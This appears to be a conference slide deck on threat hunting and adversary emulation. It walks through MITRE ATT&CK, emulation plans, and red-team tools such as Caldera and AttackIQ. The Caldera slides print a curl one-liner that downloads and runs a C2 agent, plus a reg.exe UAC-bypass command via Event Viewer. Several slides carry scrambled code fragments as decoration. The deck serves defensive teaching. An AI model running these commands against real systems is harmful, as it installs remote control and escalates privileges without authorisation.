



# Improve your Threat Hunt with Adversary Emulation

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202011191110000CET





# I am @Fvt...

- › Current focus is SecOps at <UNDISCLOSED>
- › 25+ years experience in InfoSec
  - › Security Advocate, Architect & Threat Researcher focused on Data Protection
  - › Spent number years in corporate IR team positions



*BSidesLondon Director*



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- [keybase.io/fvt](https://keybase.io/fvt)

tvfischer@pm.me



# Challenges in Threat Hunting

```
) f|=C_ME  
) f|=C_ME  
rm = (*1  
)&&(mod=
```

```
AAAAAAAAAA  
6U9AADw3 2AA  
AADwXAAOYT  
SUAADwL U0A  
AAOYwAAU17
```



```
*iptr++;  
= b & 0x  
= b & 0x  
(mod)=0xC  
  
f (f&C_67  
  
if ((mod  
if (mod=
```

```
UwAA64AADv  
IQAA655AADv  
JAA6TtBAADv  
(AAA6wAADw#  
6VSAADwLA#  
F / IPEEF3DC  
T1AAQZF0RZ  
QAAAFwItF  
AAAVXw8wBF  
IANIKIAD8U7
```



# Threat Hunting Defined

“the process of proactively and iteratively searching through networks to detect and isolate advanced threats that evade existing security solutions” – Sqrrl, Framework for Threat Hunting

“Human act of looking for badness that is not yet detected successfully.” -Sergio Caltagirone (Dragos)





# Threat Hunting Challenges

- › How to organize our program?
- › Mapping gaps
  - Do I have the right data sources?
  - Are the right security controls in place?
  - Understanding adversary techniques is more than a checklist
- › How effective is my program?
  - Can I detect actors, e.g APTXX



# Key Characteristics of an Efficient Process


- › What adversary model do we support?
- › How we prioritize adversary techniques
- › What about the data?
  - Understand the quality
  - Do we have the right data
- › Technology
- › People skills



# The Pyramid of Pain

*Adversary Emulation*

**ATT&CK<sup>®</sup>**



# Adversary Emulation

```
) f|=C_ME  
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rm = (*1  
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```

```
AAAAAAAAAA  
6U9AADw3 2AA  
AADwXAAOYT  
SUAADwL U0A  
AAOYwAAU17
```



```
*iptr++;  
= b & 0x  
= b & 0x  
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if ((mod  
if (mod=
```

```
UwAA64AADv  
IQAA655AADv  
JAA6TtBAADv  
(AAA6wAADw#  
6VSAADwLA#  
F / IPEEF3DC  
T1AAQZF0RZ  
QAAAFwItF  
AAAVXw8wBF  
IANIKIAD8U
```





# Adversary Emulation - Definition

- › Activity where how an adversary operates is performed by a security team
- › Benefit is to improve the organization's defense posture against adversary techniques
- › *Red and Purple Teaming can be categorized as Adversary Emulation*



# Why Adversary Emulation?

- › Prioritize results
- › Validating defenses
- › Gap identification



# Adversary Activities

- › Not IOCs
- › Tactics, Techniques & Procedures
  - How the adversary operates at a high level
  - Basis of the adversary emulation
- › Traditional tools, methods not applicable
  - Vulnerability scans
  - Penetration tests
- › Use a structured approach
  - Kill chain or attack flow
  - e.g. MITRE ATT&CK



# Key Differences Pentest vs. Adversary Emulation

## Penetration Testing

- › Assess security by identifying and exploiting vulnerabilities
- › Focus on a scope or set of systems
- › Focused on testing prevention not detection

## Adversary Emulation

- › Assess organization readiness versus certain threat actors
- › Focus on execution of scenarios (how many flags)
- › Tests both prevention and detection (blue team presence)



# Key Differences in Teaming

## Purple Team

- › Real world threat actor emulated using TTPs
- › Maximize the interaction/collaboration with the blue team
- › **Benefit:** improve the prevention and detection capabilities

## Red Team

- › Real world threat actor emulated using TTPs
- › Little or no interaction with the blue team (red vs blue)
- › **Benefit:** assess the blue team's performance



# Tools for Adversary Emulation

```
) f|=C_ME  
) f|=C_ME  
rm = (*1  
)&&(mod=
```

```
AAAAAAAAAAAA  
6U9AADw3 2AA  
AADwXAAOYT  
SUAADwL U0A  
AAOYwAA6U17
```



```
*iptr++;  
= b & 0x  
= b & 0x  
(mod)=0xC  
f (f&C_67  
  
if ((mod  
if (mod=
```

```
AAAAAAAAAAAA  
UwAA64AADw  
IQAA655AADw  
JAA6TtBAADw  
(AAA6wAADw#  
6VSAADwLA#  
F / IPEEF3DC  
T1AAQZF0RZ  
QAAAFwItF  
AAAVXw8wBF  
IANIKIAD817
```



# MITRE Says it Best

“MITRE’s Adversarial Tactics, Techniques and Common Knowledge (ATT&CK™) is a curated knowledge base and model for cyber adversary behavior, reflecting the various phases of an adversary’s lifecycle and the platforms they are known to target.

ATT&CK is useful for understanding security risk against known adversary behavior, for planning security improvements, and verifying defenses work as expected.”



# Tactics and Techniques

- › Tactics describe high-level steps taken by adversary to attack
- › Breach is assumed in ATT&CK
  - *Initial Intrusion* is “first”
- › Techniques describe how a tactic is executed
  - Description, detection & recommended prevention
  - Known threat actor
  - Further broken down into sub-techniques



# Procedures vs. Sub-techniques

## › Sub-techniques

- More details on behaviour used to achieve goal
- Lower-level than technique
- Not on all techniques

## › Procedures

- A specific implementation used by adversary
- Procedures section in
- “observed in the wild”



# Procedures vs. Sub-techniques

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  - More details on behaviour used to achieve goal
  - Lower-level than technique
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- › Procedures
  - A specific implementation used by adversary
  - Procedures section in
  - “observed in the wild”







# MITRE ATT&CK

Initial Access 9 techniques	Execution 10 techniques	Persistence 17 techniques	Privilege Escalation 12 techniques	Defense Evasion 32 techniques	Credential Access 13 techniques	Discovery 22 techniques	Lateral Movement 9 techniques	Collection 15 techniques	Command and Control 16 techniques	Exfiltration 8 techniques	Impact 13 techniques
Drive-by Compromise	Command and Scripting Interpreter (7/7)	Account Manipulation (2/2)	Abuse Elevation Control Mechanism (4/4)	Abuse Elevation Control Mechanism (4/4)	Brute Force (4/4)	Account Discovery (3/3)	Exploitation of Remote Services	Archive Collected Data (3/3)	Application Layer Protocol (4/4)	Automated Exfiltration	Account Access Removal
Exploit Public-Facing Application	Exploitation for Client Execution	BITS Jobs	Access Token Manipulation (5/5)	Access Token Manipulation (5/5)	Credentials from Password Stores (3/3)	Application Window Discovery	Internal Spearphishing	Audio Capture	Communication Through Removable Media	Data Transfer Size Limits	Data Destruction
External Remote Services	Inter-Process Communication (2/2)	Boot or Logon Autostart Execution (11/11)	Boot or Logon Autostart Execution (11/11)	BITS Jobs	Exploitation for Credential Access	Browser Bookmark Discovery	Lateral Tool Transfer	Automated Collection	Data Encoding (2/2)	Exfiltration Over Alternative Protocol (3/3)	Data Encrypted for Impact
Hardware Additions	Native API	Boot or Logon Initialization Scripts (5/5)	Boot or Logon Initialization Scripts (5/5)	Deobfuscate/Decode Files or Information	Forced Authentication	Domain Trust Discovery	Remote Service Session Hijacking (2/2)	Clipboard Data	Data Obfuscation (3/3)	Exfiltration Over C2 Channel	Data Manipulation (3/3)
Phishing (3/3)	Scheduled Task/Job (5/5)	Browser Extensions	Event Triggered Execution (15/15)	Execution Guardrails (1/1)	Input Capture (4/4)	File and Directory Discovery	Remote Services (6/6)	Data from Information Repositories (1/1)	Data Staged (2/2)	Exfiltration Over Other Network Medium (1/1)	Defacement (2/2)
Replication Through Removable Media	Shared Modules	Compromise Client Software Binary	Exploitation for Privilege Escalation	Exploitation for Defense Evasion	Man-in-the-Middle (1/1)	Network Service Scanning	Replication Through Removable Media	Data from Local System	Email Collection (3/3)	Firmware Corruption	Disk Wipe (2/2)
Supply Chain Compromise (3/3)	Software Deployment Tools	Create Account (2/2)	Group Policy Modification	File and Directory Permissions Modification (2/2)	Modify Authentication Process (3/3)	Network Share Discovery	Software Deployment Tools	Data from Network Shared Drive	Input Capture (4/4)	Inhibit System Recovery	Endpoint Denial of Service (4/4)
Trusted Relationship	System Services (2/2)	Create or Modify System Process (4/4)	Hijack Execution Flow (11/11)	Group Policy Modification	Network Sniffing	Network Sniffing	Taint Shared Content	Data from Removable Media	Use Alternate Authentication Material (2/2)	Network Denial of Service (2/2)	Firmware Corruption
Valid Accounts (3/3)	User Execution (2/2)	Event Triggered Execution (15/15)	Impair Defenses (5/5)	Hide Artifacts (6/6)	OS Credential Dumping (8/8)	Password Policy Discovery		Data Staged (2/2)	Man in the Browser	Resource Hijacking	Endpoint Denial of Service (4/4)
	Windows Management Instrumentation	External Remote Services	Indicator Removal on Host (6/6)	Hijack Execution Flow (11/11)	Steal or Forge Kerberos Tickets (3/3)	Peripheral Device Discovery		Email Collection (3/3)	Man-in-the-Middle (1/1)	Scheduled Transfer	Endpoint Denial of Service (4/4)
		Hijack Execution Flow (11/11)	Indirect Command Execution	Impair Defenses (5/5)	Steal Web Session Cookie	Permission Groups Discovery (2/2)		Input Capture (4/4)	Non-Application Layer Protocol	System Shutdown/Reboot	Endpoint Denial of Service (4/4)
		Office Application Startup (6/6)	Masquerading (6/6)	Indicator Removal on Host (6/6)	Two-Factor Authentication Interception	Process Discovery		Man in the Browser	Non-Standard Port	System Shutdown/Reboot	Endpoint Denial of Service (4/4)
		Pre-OS Boot (3/3)	Modify Authentication Process (3/3)	Masquerading (6/6)	Unsecured Credentials (5/5)	Query Registry		Multi-Stage Channels	Protocol Tunneling	System Shutdown/Reboot	Endpoint Denial of Service (4/4)
		Scheduled Task/Job (5/5)	Modify Registry	Modify Authentication Process (3/3)		Remote System Discovery		Ingress Tool Transfer	Proxy (4/4)	System Shutdown/Reboot	Endpoint Denial of Service (4/4)
		Server Software Component (3/3)	Obfuscated Files or Information (5/5)	Modify Registry		Software Discovery (1/1)		Multi-Stage Channels	Remote Access Software	System Shutdown/Reboot	Endpoint Denial of Service (4/4)
		Traffic Signaling (1/1)		Obfuscated Files or Information (5/5)		System Information Discovery		Multi-Stage Channels	Traffic Signaling (1/1)	System Shutdown/Reboot	Endpoint Denial of Service (4/4)
				Obfuscated Files or Information (5/5)		System Network Configuration Discovery		Multi-Stage Channels	Web Service (3/3)	System Shutdown/Reboot	Endpoint Denial of Service (4/4)
				Obfuscated Files or Information (5/5)		System Network		Multi-Stage Channels		System Shutdown/Reboot	Endpoint Denial of Service (4/4)

# MITRE ATT&CK – Sub Techniques

Initial Access 9 techniques	Execution 10 techniques	Persistence 17 techniques	Privilege Escalation 12 techniques	Defense Evasion 32 techniques	Credential Access 13 techniques	Discovery 22 techniques	Lateral Movement 9 techniques	Collection 15 techniques	Command and Control 16 techniques	Exfiltration 8 techniques
Drive-by Compromise	Command and Scripting Interpreter (7/7) AppleScript JavaScript/JScript PowerShell Python Unix Shell Visual Basic Windows Command Shell	Account Manipulation (2/2)	Abuse Elevation Control Mechanism (4/4)	Abuse Elevation Control Mechanism (4/4)	Brute Force (4/4)	Account Discovery (3/3)	Exploitation of Remote Services	Archive Collected Data (3/3)	Application Layer Protocol (4/4)	Automated Exfiltration
Exploit Public-Facing Application		BITS Jobs	Access Token Manipulation (5/5)	Access Token Manipulation (5/5)	Credentials from Password Stores (3/3)	Application Window Discovery	Internal Spearphishing	Audio Capture	Communication Through Removable Media	Data Transfer Size Limits
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Hardware Additions		Boot or Logon Initialization Scripts (5/5)	Boot or Logon Initialization Scripts (5/5)	Deobfuscate/Decode Files or Information	Forced Authentication	Domain Trust Discovery	Remote Service Session Hijacking (2/2)	Data from Information Repositories (1/1)	Data Encoding (2/2)	Exfiltration Over C2 Channel
Phishing (3/3)		Browser Extensions	Browser Extensions	Direct Volume Access	Input Capture (4/4)	File and Directory Discovery	Remote Services (6/6)	Data from Local System	Data from Network Shared Drive	Exfiltration Over Other Network Medium (1/1)
Replication Through Removable Media		Exploitation for Client Execution	Compromise Client Software Binary	Create or Modify System Process (4/4)	Exploitation for Defense Evasion	Man-in-the-Middle (1/1)	Replication Through Removable Media	Data from Network Shared Drive	Encrypted Channel (2/2)	Exfiltration Over Physical Medium (1/1)
Supply Chain Compromise (3/3)		Inter-Process Communication (2/2)	Create Account (2/2)	Event Triggered Execution (15/15)	File and Directory Modification (2/2)	Modify Authentication Process (3/3)	Software Deployment Tools	Data from Removable Media	Fallback Channels	Exfiltration Over Web Service (2/2)
Trusted Relationship		Native API	Create or Modify System Process (4/4)	Exploitation for Privilege Escalation	Group Policy Modification	Network Sniffing	Taint Shared Content	Data Staged (2/2)	Ingress Tool Transfer	Scheduled Transfer
Valid Accounts (3/3)		Scheduled Task/Job (5/5)	Event Triggered Execution (15/15)	Group Policy Modification	Hide Artifacts (6/6)	OS Credential Dumping (8/8)	Use Alternate Authentication Material (2/2)	Email Collection (3/3)	Multi-Stage Channels	
		Shared Modules	External Remote Services	Hijack Execution Flow (11/11)	Impair Defenses (5/5)	Steal or Forge Kerberos Tickets (3/3)	Query Registry	Input Capture (4/4)	Non-Application Layer Protocol	
	Software Deployment Tools	Hijack Execution Flow (11/11)	Process Injection (11/11)	Indicator Removal on Host (6/6)	Steal Web Session Cookie	Remote System Discovery	Man in the Browser	Non-Standard Port		
	System Services (2/2)	Office Application Startup (6/6)	Scheduled Task/Job (5/5)	Indirect Command Execution	Two-Factor Authentication Interception	Software Discovery (1/1)	Man-in-the-Middle (1/1)	Protocol Tunneling		
	User Execution (2/2)	Pre-OS Boot (3/3)	Valid Accounts (3/3)	Masquerading (6/6)	Unsecured Credentials (5/5)	System Information Discovery	Screen Capture	Proxy (4/4)		
	Windows Management Instrumentation	Scheduled Task/Job (5/5)		Modify Authentication Process (3/3)		System Network Configuration Discovery	Video Capture	Remote Access Software		
		Server Software Component (3/3)		Modify Registry		System Network Connections		Traffic Signaling (1/1)		
		Traffic Signaling (1/1)		Obfuscated Files or Information (5/5)				Web Service (3/3)		





# MITRE ATT&CK – Tactic & Technique

## Execution

The adversary is trying to run malicious code.

Execution consists of techniques that result in adversary-controlled code running on a local or remote system.

Techniques that run malicious code are often paired with techniques from all other tactics to achieve broader goals, like exploring a network or stealing data. For example, an adversary might use a remote access tool to run a PowerShell script that does Remote System Discovery.

ID: TA0002

Created: 17 October 2018

Last Modified: 19 July 2019

[Version Permalink](#)

## Techniques

ID	Name	Description
T1059	Command and Scripting Interpreter	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These are often used for interacting with computer systems and are a common feature across many different platforms. Most systems have a command-line interface and scripting capabilities, for example, macOS and Linux distributions include some installations include the Windows Command Shell and PowerShell.
.001	PowerShell	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform discovery of information and execution of code. Examples include the <code>start-process</code> cmdlet which can be used to run an executable and the <code>invoke-command</code> cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
.002	AppleScript	Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications via inter-application messages called AppleEvents. These AppleEvent messages can be easily scripted with AppleScript.
.003	Windows Command Shell	Adversaries may abuse the Windows command shell for execution. The Windows command shell ( <code>cmd.exe</code> ) is used to execute commands in Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with the exception of some system-level operations.

Techniques: 10

## Command and Scripting Interpreter: PowerShell

Other sub-techniques of Command and Scripting Interpreter (7)

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. [1] Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `start-process` cmdlet which can be used to run an executable and the `invoke-command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).

PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

A number of PowerShell-based offensive testing tools are available, including Empire, PowerSploit, PoshC2, and PSAttack. [2]

PowerShell commands/scripts can also be executed without directly invoking the `powershell.exe` binary through interfaces to PowerShell's underlying `System.Management.Automation` assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI). [3][4][5]

ID: T1059.001

Sub-technique of: T1059

Tactic: Execution

Platforms: Windows

Permissions Required: Administrator, User

Data Sources: DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs

Supports Remote: Yes

Contributors: Praetorian

Version: 1.0

Created: 09 March 2020

Last Modified: 24 June 2020

[Version Permalink](#)

## Procedure Examples

Name	Description
APT19	APT19 used PowerShell commands to execute payloads. [76]
APT28	APT28 downloads and executes PowerShell scripts. [81]
APT29	APT29 has used encoded PowerShell scripts uploaded to CozyCar installations to download and install SeaDuke. APT29 also used PowerShell scripts to evade defenses. [18][65][66]



# Leveraging ATT&CK

Adversary Emulation

Foundation for emulation plan

Tracking & Reporting

Threat Intelligence

Map adversary behaviour

Platform support

Detection Capabilities

Map organization detection capability

Use to report maturity of SOC/IR

Defense Prioritization


Map to preventative controls

What is being blocked?

## Common Reference Language



# Example Adversary Emulation Breakdown





```
AAAAAAAAAAAA  
( f==C_E  
(  
 *osizep  
return;  
)  
if (f&C_P  
(  
 f&C_P  
goto pr  
)  
if (f&C_D  
(  
if (f&C_M  
(  
 b = *jp  
mod = b  
rm = b  
if (mod  
(  
 if (f  
(  
 if  
 if  
 if  
)  
else  
(  
 if  
 if  
 if  
 if  
)  
) // C_MO  
if (f&C_M  
if (f&C_D  
if (f&C_M  
if (f&C_M  
if (f&C_M  
if (f&C_D  
if (f&C_D  
if (f&C_D
```

```
AAODQAA6AAD  
wCAA0EAA6MU  
B6AADwTAAOF  
AAAAAAAAAVYU  
OLB5AAAAACJL  
VLQ19CtF5TF  
BAAAAUXU0X0  
ADw6S4AA03C  
AADwIUAA0Hw  
AADw938AAOU  
AAA6TJJAAADw  
JwAA6SEGAAD  
AA6BAAAAAAA  
w+MAA0SDAAA  
ADw03wAA03R  
0CAAADwUAAOC  
AAOKUAAA6S2  
WJ3AADwVAAC  
XFAA6R0WAAD  
AA6X2AADwAA  
AAQAA6UAAADw  
00PAAA6QAAD  
AA6V4AADwR3  
AORAAA6GAAD  
AA6UFSAADwA  
Q0U10X4AAAA  
w+0UU00Q1UM  
XRHRQAAAAUW  
w02U3X311Xw  
+3w+WJ2JXw/  
Z5Bw8RCLTBw  
tVGLJYQQ4AJ  
JTWN//4tF8  
AA11N0)tF5G  
AMAA10F8IAD  
F4P3//6F4AA  
AA6J9//+5KE  
0FwGIADEFP3/  
YW//CAA6JT  
P3//6G0AADY  
AADYWA//SA  
+0KAADFP3//  
A6JV9//+3KA  
U9//+6KAADF
```





# Building Adversary Emulation Process



Analyse Adversary Behaviour

Develop Emulation Plan

Test Plan & Methodology

Emulate Adversary

ATT&CK<sup>®</sup>



```
if (f==C_E  
(  
 *osizep  
return;  
)  
if (f&C_P  
(  
 f&C_P  
goto pr  
AAODQAA  
wCAA0  
B6AAD  
AAAA  
OLP  
VLC  
BAAAA  
ADw6S  
AADwI  
AADw9  
AAA6TJJ  
JwAA6SEGAAD  
AA6BAAAAAA  
w+MAA0SDAAA  
ADw03wAA03R  
XRHRQAAAAUW  
w02U3X3T1Xw  
+3w+WJ2JXw/  
Z5Bw8RCLTBw  
tVGLJYQQ4A3  
TtW//4tF8  
AA11N8)tF5C  
MAAA10F8IAD  
F4P3//6F4AA  
AA6J9//+5KE  
0FwGIADEFP3/  
YW//CAA6JT  
P3//6G0AAY  
AAYWA//SA  
+0KAADFP3//  
A6JV9//+3KA  
U9//+6KAADF
```



# Building an Adversary Emulation Plan


- › Good adversary emulation plan is crucial for effectiveness
- › Should include **distinct phases** to mimic a real-world adversary
- › Every tactic is **NOT required**; change it up! *Improvise*
- › Example phases in MITRE's APT3
  - Implement infrastructure (C2)
  - Achieve initial execution (Initial Access)
  - Carry out internal discovery, privilege escalation and later movement (lateral movement)
  - Collect, stage and exfiltrate data (Action on Objectives)





# What is an Emulation Plan

## APT 3 Emulation Plan



Approved for Public Release; Distribution Unlimited. Case Number 17-3569. ©2018 The MITRE Corporation. All Rights Reserved



<https://attack.mitre.org/resources/adversary-emulation-plans/>



# APT28 Emulation Example

## Phase 1

- Initial Access – Removable Media [T1091]
- Execution – Client Exploit [T1203]

## Phase 2

- Persistence - Valid Accounts [T1078]
- Privilege Escalation – Exploitation [T1068]
- Defense Evasion – Obfuscate Files [T1027]
- Lateral Movement – Exploit Remove Services [T1210]

## Phase 3

- Exfiltration – Exfil over C2 [T1041]






# Supporting Tools

- › Use an emulation stack
- › Automated or scripted; supports specific set of ATT&CK techniques
- › Full stack simulation based on adversary emulation plan; manual

# Automated or Scripted Tools



RedHunt



Atomic Red Team



MITRE  
Caldera

ATTACKIQ

Metta (Uber)

SYNTHETIC

```
if (f==C_E  
(  
 *osizep  
return;  
)  
if (f&C_P  
(  
 f&--C_P  
goto pr  
AAODQAAGAAD  
wCAA0EAA6M  
B6AADwTAAOF  
AAAAAAAAAYU  
DLB5AAAAAC7L  
VLQ19CtF5TF  
BAAAAUXU0X0  
ADw6S4AAD3C  
AADwIUAA0+H  
AADw938AAOU  
AAA6TJJAAADw  
JwAA6SEGAAD  
AA6BAAAAAAA  
w+MAADSDAAA  
ADw03wAA03R  
0CAAADwUAAOC  
AAOKUAAA6S2  
WJ3AADwVAAC  
XFAA6R0WAAD  
AA6X2AADwAA  
AAQAA6UAADw  
00PAAA6QAAD  
AA6V4AADwR3  
AORAAA6GAAD  
AA6UFSAADwA  
Q0U10X4AAAA  
w+00U00Q1UP  
XRHRQAAAAUW  
w02U3X311Xw  
+3w+WJ2JXw/  
Z5Bw8RCLTBw  
EVGLJYQQ4A3  
TtwN//4tF8  
AA11NB) tF5C  
wMAA10F8IAD  
F4P3//6F4AA  
AA6J9//+5KE  
0FwGIADFP3/  
YW//CAA6JT  
P3//6G0AADY  
AADYWA//SA  
+0KAADFP3//  
A6Jv9//+3KA  
U9//+6KAADF
```



# Manual Adversary Emulation

- › Red Team Automation (RTA)
- › DumpsterFire Toolset
- › Covenant





Home → About

Evaluating all C2's

# Mission

It is the golden age of Command and Control (C2) frameworks. The goal of this site is to point you to the best C2 framework for your needs based on your adversary emulation plan and the target environment. Take a look at the matrix or use the questionnaire to determine which fits your needs.

<https://www.thec2matrix.com/>



```
) f|=C_ME
) f|=C_ME
rm = (*1
)&&(mod==
```

AAAAAAAAAA
6U9AADw3 2AA
AADwXAAOYT A
SUAADwL UBA
&AOYwAA6U7

# MITRE Caldera

## Quick Intro

<https://github.com/mitre/caldera>



Welcome home. Go into the Agents tab to review your deployed agents.



```
*iptr++;
= b & 0x
= b & 0x
(mod|=0xC
f (f&C_67
if ((mod
if (mod=
```

UwAA64AADv
IQAA655AADv
JAA6TtBAADv
(AAA6wAADw#
6VSAADwLA#
F / IPEEF3DC
IT1AAQZF0RZ
QAAAFwItF
AAAVXw8w8F
IANIK1AD8B





# MITRE Caldera Basics

## › Use Cases

- Red-Team Engagements
- Autonomous Incident Response
- Non-deterministically (decision making algos)

## › Terminology

- Agent
- Group
- Ability
- Adversary
- Operation
- Fact
- Source
- Rule
- Planner
- Plugin



# CALDERA – Deploy Agent

54ndc47: A GoLang agent which communicates through

All platforms

\*\* Variations of the deployment command will be shown for each supported operating system

app.contact.http http://0.0.0.0:8888



**A GoLang agent which communicates through the HTTP contact (sh)**

```
server="http://0.0.0.0:8888";curl -s -X POST -H "file:sandcat.go" -H "platform:darwin" $server/file/download > sandcat.go;chmod +x sandcat.go;./sandcat.go -server $server -v
```



**Deploy as a blue-team agent instead of red (sh)**

```
server="http://0.0.0.0:8888";agent=$(curl -svkOJ -X POST -H "file:sandcat.go" -H "platform:darwin" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d=' ' -f2 | tr -d "\r") && chmod +x $agent 2>/dev/null;nohup ./$agent -server $server -group blue &
```



# CALDERA – Agent Info

## hdlgal

\* Property can be updated

Contact	http
Host	VM-tfischer-10ex64
Username	VM-TFISCHER-10EDG User
Privilege	Elevated
Last seen	2020-11-17 07:10:34
Group *	red
Sleep *	30/60
Watchdog *	0
Architecture	amd64
Platform	windows
PID	6596
PPID	7056
Executable name	splunkd.exe
Location	C:\Users\Public\splunkd.exe
Executors	["psh"]
Peer-to-Peer Proxy Receivers	No local peer-to-peer proxy receivers active.
Peer-to-Peer Proxy Chain	Not using peer agents to reach C2.





# CALDERA – Adversary Profiles



Profiles



Profiles are collections of ATT&CK TTPs, designed to create specific effects on a host or network. Profiles can be used for offensive or defensive use cases.

Hunter

Save

Delete

Hunter

Discover host details and steal sensitive files

Ordering

+ link objective | + add adver

<p>1 <b>Find files</b> <span>✕</span></p> <p>COLLECTION   DATA FROM LOCAL SYSTEM</p> <p>🍏 🪟 🪟 🔒 🔑</p>	<p>2 <b>Identify active user</b> <span>✕</span></p> <p>DISCOVERY   SYSTEM OWNER/USER DIS...</p> <p>🍏 🔒 🪟 🪟 🔑</p>	<p>3 <b>Find local users</b> <span>✕</span></p> <p>DISCOVERY   ACCOUNT DISCOVERY: LOC...</p> <p>🍏 🔒 🔑</p>
<p>4 <b>Identify local users</b> <span>✕</span></p> <p>DISCOVERY   ACCOUNT DISCOVERY: LOC...</p> <p>🍏 🪟 🔒</p>	<p>5 <b>Snag broadcast IP</b> <span>✕</span></p> <p>DISCOVERY   SYSTEM NETWORK CONFIG...</p> <p>🍏 🔒</p>	<p>6 <b>Find user processes</b> <span>✕</span></p> <p>DISCOVERY   PROCESS DISCOVERY</p> <p>🍏 🔒 🪟 🔑</p>
<p>7 <b>View admin shares</b> <span>✕</span></p> <p>DISCOVERY   NETWORK SHARE DISCOV...</p> <p>🪟 🪟 🔑</p>	<p>8 <b>Find domain controller</b> <span>✕</span></p> <p>DISCOVERY   REMOTE SYSTEM DISCOVE...</p> <p>🪟 🪟 🔑</p>	<p>9 <b>Discover antivirus programs</b> <span>✕</span></p> <p>DISCOVERY   SOFTWARE DISCOVERY: SE...</p> <p>🍏 🪟 🔑</p>
<p>10 <b>Permission Groups Discovery</b> <span>✕</span></p> <p>DISCOVERY   PERMISSION GROUPS DISC...</p> <p>🪟 🍏 🔒</p>	<p>11 <b>Identify Firewalls</b> <span>✕</span></p> <p>DISCOVERY   SOFTWARE DISCOVERY: SE...</p> <p>🪟 🔒</p>	<p>12 <b>Discover Mail Server</b> <span>✕</span></p> <p>DISCOVERY   REMOTE SYSTEM DISCOVE...</p> <p>🍏 🍏 🪟 🔒 🔑</p>



# CALDERA – Adversary Profiles – Add Ability

privilege-escalation | T1548.002 | Abuse Elevation Control Mechar | Bypass UAC using Event Viewer (cmd)

platform: windows

executor: cmd

Available Payloads	Selected Payloads
04581e_Infdefaultinstall.inf	107417_T1036.003_masquerading.ps1
0655d1_WindowsServiceExample.exe	
0a4081_DDE_Document.docx	
0cb710_T1055.exe	
12011c_AdFind.exe	
124a70_PPID-Spoof.ps1	
187e67_calc.cpl	
1b4409_T1010.cs	
1db90b_T1036.003.exe	
411da5_AtomicService.exe	

payloads:

command: reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "C:\Windows\System32\cmd.exe" /f && cmd.exe /c eventvwr.msc

timeout: 60

reg.exe delete hkcu\software\classes\mscfile /f >nul 2>&1



# CALDERA – Run Operation



Operations

VIEW

Start a new operation or review previous ones here.

testpereg - 2020-11-17 13:35:52


include agent output

Download report

Delete

Control buttons: Stop, Pause, Play, Run, Autonomous (toggle)


RUNNING | 2020-11-17 13:35:52 | 0 DECISIONS



- queued
- collected
- success
- failure
- timeout
- discarded
- untrusted
- visible

Use base64 obfuscation

+ potential links



Use Alice Filters facts

SCHEDULE



# CALDERA – Run Operation

Operat

Start a new operation or here.

test3enum - 2020

include a

Download

Delete

Start

```

"name": "test3enum",
"host_group": [
(
"contact": "http",
"executors": [
  "psh"
],
"trusted": false,
"server": "http://192.168.51.2:8888",
"proxy_chain": [],
"sleep_min": 30,
"proxy_receivers": {},
"host": "VM-tfischer-10ex64",
"links": [
  {
    "finish": "2020-11-16 16:59:32",
    "status": 0,
    "pin": 0,
    "id": 355131,
    "decide": "2020-11-16 16:59:24",
    "cleanup": 0,
    "paw": "hdlgal",
    "pid": "7928",
    "facts": [],
    "ability": {
      "additional_info": {},
      "payloads": [],
      "requirements": [],
      "technique_id": "T1070.003",
      "build_target": null,
      "repeatable": false,
      "cleanup": [],
      "language": null,
      "access": {},
      "buckets": [
        "defense-evasion"
      ],
      "timeout": 60,
      "ability_id": "43b3754c-def4-4699-a673-1d85648fda6a",
      "code": null,
      "name": "Avoid logs",
      "privilege": null,
      "description": "Stop terminal from logging history",
      "parsers": [],
      "platform": "windows",
      "technique name": "Indicator Removal on Host: Clear Command History",

```

+ potential links

- ★
- ★
- ★
- ★
- ★



```
) f|=C_ME
) f|=C_ME
rm = (*1
)&&(mod==
```

```
AAAAAAAAAAAA
6U9AADw3 2AA
AADwXAAOYT A
SUAADwL UBA
AACYwAAGU7
```

## ATTACKIQ

Account Log In

✉ Username 👁

CONTINUE

# OFFENSIVE DEFENSE

AttackIQ delivers continuous validation of your enterprise security program so you can find the gaps, strengthen your security posture and exercise your incident response capabilities.

# ATTACKIQ

## Overview – Commercial Product



```
*lptr++;
= b & 0x
= b & 0x
(mod)=0xC
f (f&C_67
if ((mod
if (mod=
```

```
UwAA64AADv
IQAA655AADv
JAA6TtBAADv
(AAA6wAADw#
6VSAADwLA#
F / IPEEF3DC
tT1AAQZF0RZ
QAAAFwItF
IAAVXw8wBF
IANIKIAD8U7
```



# ATTACKIQ - Scenarios

ATTACKIQ

Scenarios Library

SCENARIOS

MITRE ATT&CK

filter scenarios by their tag,

SCENARIOS

MITRE ATT&CK

Period of time

Envir

All Time

All

filter scenarios by their tag, tagset or enter free text search

FILTER

Matrices

Windows

Subtechniques

EXPAND

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Cor
1 Techniques	6 Techniques	10 Techniques	9 Techniques	19 Techniques	6 Techniques	20 Techniques	3 Techniques	9 Techniques	8 T
<b>Dump Windows Passwords Mimikatz</b> 	<b>Phishing</b> 08 Scenarios 02 Subtechniques	<b>Account Manipulation</b> 01 Scenarios	<b>Abuse Elevation Control Mechanism</b> 01 Scenarios 01 Subtechniques	<b>Abuse Elevation Control Mechanism</b> 01 Scenarios 01 Subtechniques	<b>Brute Force</b> 01 Scenarios 01 Subtechniques	<b>Account Discovery</b> 05 Scenarios 02 Subtechniques	<b>Exploitation of Remote Services</b> 01 Scenarios	<b>Automated Collection</b> 03 Scenarios	App Lay 13 04
